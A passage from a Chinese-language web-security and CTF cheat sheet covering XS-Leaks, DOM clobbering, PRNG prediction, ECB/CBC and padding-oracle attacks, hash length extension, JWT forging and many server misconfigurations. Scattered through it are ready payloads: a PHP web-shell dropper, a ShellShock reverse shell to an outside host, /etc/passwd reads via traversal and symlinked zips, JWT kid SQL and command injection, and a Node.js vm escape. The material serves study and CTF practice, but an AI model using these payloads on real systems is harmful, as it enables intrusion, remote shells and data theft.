    • 狀態B => frame count = y
    • x != y
  • e.g. Facebook CTF - Secret Note Keeper
    • 找到結果 => frame count >= 1
    • 沒找到 => frame count = 0

Timing

  • 不同狀態有不同回應時間
  • Time(有結果) > Time(沒結果)
    • 有結果時,會需要載入比較多東西

XSS Filter

  • iframe正常訪問,會觸發一次onload事件
  • 在iframe.src尾,加上#做請求,正常不會再觸發onload事件
  • 但如果原本頁面被filter block,則會有第二次onload
    • 第二次請求變成chrome-error://chromewebdata/#
  • 可以判斷頁面狀態
    • 正常 => 1次onload
    • 被Blocked => 2次onload
  • 也能用history.length判斷
  • e.g. 35C3 - filemanager

HTTP Cache

  • 清空目標 Cache
    • 送 POST 請求
  • 查詢內容
    • <link rel=prerender href="victim.com">
  • 檢查是否 Cache 該內容
    • Referrer 設超長,然後訪問該資源
    • 有 cache => 顯示資源
    • 沒 cache => 抓不到資源

DOM Clobbering

  1. <form id=test1></form>
  2. <form name=test2></form>
  3. <script>
  4. console.log(test1); // <form id=test1></form>
  5. console.log(test2); // <form name=test2></form>
  6. console.log(document.test1); // undefined
  7. console.log(document.test2); // <form name=test2></form>
  8. </script>
  • id 屬性被當成全域變數
  • name 屬性被當成 document 屬性
  • 覆蓋原生函數
  1. <form name="getElementById"></form>
  2. <form id="form"></form>
  3. <script>
  4. console.log(document.getElementById("form")); // Error
  5. </script>
  6. <script>
  7. console.log("I'll be executed!");
  8. </script>

這裡第一個script block因為錯誤被跳過,第二個script block依舊會執行 (常拿來繞檢查)

  • toString 問題

    1. <form id=test1><input name=test2></form>
    2. <script>
    3. alert(test1.test2); // "[object HTMLInputElement]"
    4. </script>
    • <a>href 可以解決toString問題: <a id=test1 href=http://kaibro.tw>
      • alert(test1); => http://kaibro.tw
    • <form id=test1><a name=test2 href=http://kaibro.tw></form> 依舊有問題
      • alert(test1.test2); => undefined
      • 解法見下面HTMLCollection
  • HTMLCollection
  1. <a id=test1>click!</a>
  2. <a id=test1>click2!</a>
  3. <script>
  4. console.log(window.test1); // <HTMLCollection(2) [a#test1, a#test1, test1: a#test1]
  5. </script>

name 屬性也會直接變成 HTMLCollection 的屬性:

  1. <a id="test1"></a>
  2. <a id="test1" name="test2" href="x:alert(1)"></a>
  3. <script>
  4. alert(window.test1.test2); // x:alert(1)
  5. </script>

密碼學

PRNG

  • php 7.1.0後 rand()srand()已經等同mt_rand()mt_srand()
  • php > 4.2.0 會自動對srand()mt_srand()播種
    • 只進行一次seed,不會每次rand()都seed
  • 可以通過已知的random結果,去推算隨機數種子,然後就可以推算整個隨機數序列
  • 實際應用上可能會碰到連上的不是同個process,可以用Keep-Alive來確保連上同個php process(只會seed一次)
  • 7.1以前rand()使用libc random(),其核心為:state[i] = state[i-3] + state[i-31]
    • 所以只要有31個連續隨機數就能預測接下來的隨機數
    • 後來rand() alias成mt_rand(),採用的是Mersenne Twister算法
  • Example: HITCON 2015 - Giraffe’s Coffee

ECB mode

Cut and Paste Attack

  • 每個Block加密方式都一樣,所以可以把Block隨意排列
  • 舉例: user=kaibro;role=user
    • 假設Block長度為8
    • 構造一下user: (|用來區隔Block)
      • user=aaa|admin;ro|le=user
      • user=aaa|aa;role=|user
    • 排列一下:(上面每塊加密後的Block都已知)
      • user=aaa|aa;role=|admin;ro
  • Example: AIS3 2017 pre-exam

Encryption Oracle Attack

  • ECB(K, A + B + C)的運算結果可知
    • B可控
    • K, A, C未知
  • C的內容可以透過以下方法爆出來:
    • 找出最小的長度L
    • 使得將B改成L個a,該段pattern剛好重複兩次
      • ...bbbb bbaa aaaa aaaa cccc ...
      • ...???? ???? 5678 5678 ???? ...
    • 改成L-1個a,可得到ECB(K, "aa...a" + C[0])這個Block的內容
    • C[0]可爆破求得,後面也依此類推
  • 常見發生場景:Cookie

CBC mode

Bit Flipping Attack

  • 假設IV為A、中間值為B (Block Decrypt後結果)、明文為C
  • CBC mode解密時,A XOR B = C
  • 若要使輸出明文變X
  • 修改A為A XOR C XOR X
  • 則原本式子變成(A XOR C XOR X) XOR B = X

Padding Oracle Attack

  • PKCS#7
    • Padding方式:不足x個Byte,就補x個x
      • 例如:Block長度8
      • AA AA AA AA AA AA AA 01
      • AA AA AA AA AA AA 02 02
      • AA AA AA AA AA 03 03 03
      • 08 08 08 08 08 08 08 08
    • 在常見情況下,如果解密出來發現Padding是爛的,會噴Exception或Error
      • 例如:HTTP 500 Internal Server Error
      • 須注意以下這類情況,不會噴錯:
        • AA AA AA AA AA AA 01 01
        • AA AA 02 02 02 02 02 02
  • 原理:
    • CBC mode下,前一塊密文會當作當前這塊的IV,做XOR
    • 如果構造A||B去解密 (A, B是密文Block)
    • 此時,A會被當作B的IV,B會被解成D(B) XOR A
    • 可以透過調整A,使得Padding變合法,就可以得到D(B)的值
      • 例如:要解最後1 Byte
      • 想辦法讓最後解出來變成01結尾
      • 運氣不好時,可能剛好碰到02 02結尾,可以調整一下A倒數第2 Byte
      • D(B)[-1] XOR A[-1] = 01
      • D(B)[-1] = A[-1] XOR 01
      • 有最後1 Byte就可以依此類推,調整倒數第2 Byte
    • D(B) XOR C就能得到明文 (C為前一塊真正的密文)

Length Extension Attack

  • 很多hash算法都可能存在此攻擊,例如md5, sha1, sha256
  • 主要是因為他們都使用Merkle-Damgard hash construction
  • 會依照64 Byte分組,不足會padding
    • 1 byte的0x80+一堆0x00+8 bytes的長度
  • IV是寫死的,且每一組輸出結果會當下一組的輸入
  • 攻擊條件: (這裏md5換成sha1, sha256…也通用)
    • 已知md5(secret+message)
    • 已知secret長度
    • 已知message內容
  • 符合三個條件就能構造md5(secret+message+padding+任意字串)
  • 工具 - hashpump
    • 基本用法:
      1. 輸入md5(secret+message)的值
      2. 輸入message的值
      3. 輸入secert長度
      4. 輸入要加在後面的字串
      5. 最後會把md5(secret+message+padding+任意字串)message+padding+任意字串噴給你

其它

  • Information leak
    • .git / .svn
    • robots.txt
    • /.well-known
    • .DS_Store
    • .htaccess
    • .pyc
    • package.json
    • server-status
    • crossdomain.xml
    • admin/ manager/ login/ backup/ wp-login/ phpMyAdmin/
    • xxx.php.bak / www.tar.gz / .xxx.php.swp / xxx.php~ / xxx.phps
    • /WEB-INF/web.xml
  • 文件解析漏洞
    • Apache
      • shell.php.ggininder
      • shell.php%0a
        • httpd 2.4.0 to 2.4.29
        • CVE-2017-15715
    • IIS
      • IIS < 7
        • a.asp/user.jpg
        • user.asp;aa.jpg
    • Nginx
      • nginx < 8.03
        • cgi.fix_pathinfo=1
        • Fast-CGI開啟狀況下
        • kaibro.jpg: <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
        • 訪問kaibro.jpg/.php生成shell.php
  • AWS常見漏洞
  • JWT (Json Web Token)

    • 重置算法 None
      • import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]
    • 降級算法

      • 把”非對稱式加密”降級為”對稱式加密”
      • e.g. RS256 改成 HS256
        1. import jwt
        2. public = open('public.pem', 'r').read() # public key
        3. prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
    • 暴力破解密鑰

    • kid 參數 (key ID)
      • 是一個可選參數
      • 用於指定加密算法的密鑰
      • 任意文件讀取
        • "kid" : "/etc/passwd"
      • SQL注入
        • kid 有可能從資料庫提取數據
        • "kid" : "key11111111' || union select 'secretkey' -- "
      • Command Injection
        • Ruby open: "/path/to/key_file|whoami"
      • Example: HITB CTF 2017 - Pasty
    • jku
      • 用來指定連接到加密Token密鑰的URL
      • 如果未限制的話,攻擊者可以指定自己的密鑰文件,用它來驗證token
    • 敏感訊息洩漏
      • JWT 是保證完整性而不是保證機密性
      • base64 decode 後即可得到 payload 內容
      • Example
    • jwt.io
  • 常見Port服務
  • php -i | grep "Loaded Configuration File"
    • 列出php.ini路徑
  • OPTIONS method
    • 查看可用 HTTP method
    • curl -i -X OPTIONS 'http://evil.com/'
  • ShellShock
    • () { :; }; echo vulnerable
    • () { :a; }; /bin/cat /etc/passwd
    • () { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
  • X-forwarded-for 偽造來源IP
  • DNS Zone Transfer
    • dig @1.2.3.4 abc.com axfr
      • DNS Server: 1.2.3.4
      • Test Domain: abc.com
  • IIS 短檔名列舉
    • Windows 8.3 格式: administrator 可以簡寫成 admini~1
    • 原理:短檔名存在或不存在,伺服器回應內容不同
    • Tool: https://github.com/irsdl/IIS-ShortName-Scanner
      • java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/
  • NodeJS unicode failure
    • 內部使用UCS-2編碼
    • NN => ..
      • \xff\x2e
      • 轉型時捨棄第一個Byte
  • 特殊的CRLF Injection繞過
    • %E5%98%8A
    • 原始的Unicode碼為U+560A
    • raw bytes: 0x56, 0x0A
  • MySQL utf8 v.s. utf8mb4
    • MySQL utf8編碼只支援3 bytes
    • 若將4 bytes的utf8mb4插入utf8中,在non strict模式下會被截斷
    • CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
  • Nginx internal繞過
  • Nginx目錄穿越漏洞

    • 常見於Nginx做Reverse Proxy的狀況

      1. location /files {
      2. alias /home/
      3. }
    • 因為/files沒有加上結尾/,而/home/

    • 所以/files../可以訪問上層目錄
  • Nginx add_header
    • 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,add_header才會設定 header
    • e.g. Codegate 2020 - CSP
  • Nginx $url CRLF Injection
    • $uri 是解碼後的請求路徑,可能包含換行,有機會導致CRLF Injection
      • 應改用 $request_uri
    • Example: VolgaCTF 2021 - Static Site
      • proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
      • CRLF Injection 蓋掉 S3 Bucket 的 Host header,控 Response 內容做 XSS
  • Javascript大小寫特性
    • "ı".toUpperCase() == 'I'
    • "ſ".toUpperCase() == 'S'
    • "K".toLowerCase() == 'k'
    • Reference
  • Node.js目錄穿越漏洞
    • CVE-2017-14849
    • 影響: 8.5.0版
    • /static/../../../foo/../../../../etc/passwd
  • Node.js vm escape
    • const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()
    • CONFidence CTF 2020 - TempleJS
      • Only allow /^[a-zA-Z0-9 ${}]+$/g`
      • Functiona${return constructor}{constructor}`${constructor} return flag ```
  • Apache Tomcat Session操縱漏洞
    • 預設session範例頁面/examples/servlets /servlet/SessionExample
    • 可以直接對Session寫入
  • polyglot image + .htaccess

    • XBM格式有定義在exif_imagetype()
    • 符合.htaccess格式
    • Insomnihack CTF
      1. #define gg_width 1337
      2. #define gg_height 1337
      3. AddType application/x-httpd-php .asp
  • AutoBinding / Mass Assignment

    • Mass_Assignment_Cheat_Sheet
    • Spring MVC

      • @ModelAttribute
      • 會將Client端傳來的參數(GET/POST)綁定到指定Object中,並自動將此Object加到ModelMap中
      • Example

        1. @RequestMapping(value = "/home", method = RequestMethod.GET)
        2. public String home(@ModelAttribute User user, Model model) {
        3. if (showSecret){
        4. model.addAttribute("firstSecret", firstSecret);
        5. }
        6. return "home";
        7. }
      • Example 2:

      • Example 3: VolgaCTF 2019 - shop
  • HTTP2 Push
  • Symlink
    • ln -s ../../../../../../etc/passwd kaibro.link
    • zip --symlink bad.zip kaibro.link
  • tcpdump
    • -i 指定網卡,不指定則監控所有網卡
    • -s 默認只抓96bytes,可以-s指定更大數值
    • -w 指定輸出檔
    • host 指定主機(ip or domain)
    • dst, src 來源或目的端
    • port指定端口
    • tcp, udp, icmp 指定協議
    • example
      • 來源192.168.1.34且目的端口為80
        • tcpdump -i eth0 src 192.168.1.34 and dst port 80
      • 來源192.168.1.34且目的端口是22或3389
        • tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
      • 保存檔案,可以後續用wireshark分析
        • tcpdump -i eth0 src kaibro.tw -w file.cap

Tool & Online Website

Information gathering

Hash Crack

其它


相关链接: